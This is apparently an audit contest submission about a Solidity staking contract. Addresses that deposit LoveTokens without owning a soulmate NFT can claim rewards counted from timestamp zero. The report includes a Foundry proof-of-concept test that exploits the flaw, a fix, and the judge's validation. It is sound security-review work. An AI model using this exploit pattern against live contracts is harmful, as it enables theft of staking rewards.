Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

'Staking.sol::claimRewards' can be exploited if an address has deposited LoveTokens but does not have a soulmate

Summary

In 'Staking.sol::claimRewards' the lastClaim time of the msg.sender is not calculated correctly if the address has deposited LoveTokens but does not have a soulmate.

Vulnerability Details

If an address has been transfered LoveTokens and deposits them into Staking.sol then they can claim rewards for how ever many tokens they deposited times the amount of weeks that have passed since the Ethereum blockchain started.

when calculating the lastClaim time, if the msg.sender does not have a soulmate then lastClaim would be set to 0

uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}

Now that lastClaim for the msg.sender = 0. timeInWeeksSinceLastClaim would equal the current (block.timestamp - 0) / 1 week. This would make timeInWeeksSinceLastClaim equal to the amount of weeks that have passed since the Ethereum blockchain started.

uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);

Now amountToClaim will equal timeInWeeksSinceLastClaim * the amount the msg.sender staked. Giving them far more tokens than they should be able to claim.

uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);

Impact

This test passes showing that an address that was transferred LoveTokens can stake them and claim a reward even if they don't have a soulmate.

function test_Soulmate3Exploit() public {
uint256 balance = 100 ether;
uint256 stakeRewardAfter100Daysfor100LoveTokensDeposited = 1400 ether;
_giveLoveTokenToSoulmates(balance);
_SetUpSoulmate3(balance);
vm.startPrank(soulmate3);
stakingContract.claimRewards();
vm.stopPrank();
assertTrue(stakingContract.userStakes(soulmate3) == balance);
assertTrue(loveToken.balanceOf(soulmate3) == stakeRewardAfter100Daysfor100LoveTokensDeposited);
assertTrue(loveToken.balanceOf(address(stakingContract)) == balance);
}
function _SetUpSoulmate3(uint256 amount) internal {
vm.startPrank(soulmate1);
loveToken.transfer(soulmate3, amount);
vm.stopPrank();
vm.startPrank(soulmate3);
soulmateContract.mintSoulmateToken();
loveToken.approve(address(stakingContract), amount);
stakingContract.deposit(amount);
vm.stopPrank();
}
function _giveLoveTokenToSoulmates(uint256 amount) internal {
_mintOneTokenForBothSoulmates();
uint256 numberDays = amount / 1e18;
vm.warp(block.timestamp + (numberDays * 1 days));
vm.prank(soulmate1);
airdropContract.claim();
vm.prank(soulmate2);
airdropContract.claim();
}
function _mintOneTokenForBothSoulmates() internal {
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
}

Tools Used

--Foundry

Recommendations

It is reccomended to add a check to make sure the address claiming a reward has a soulmate.

function claimRewards() public {
+ if (soulmateContract.soulmateOf(msg.sender) == address(0)) {
+ revert Staking__DoesNotHaveASoulmate();
+ }
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(soulmateId);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.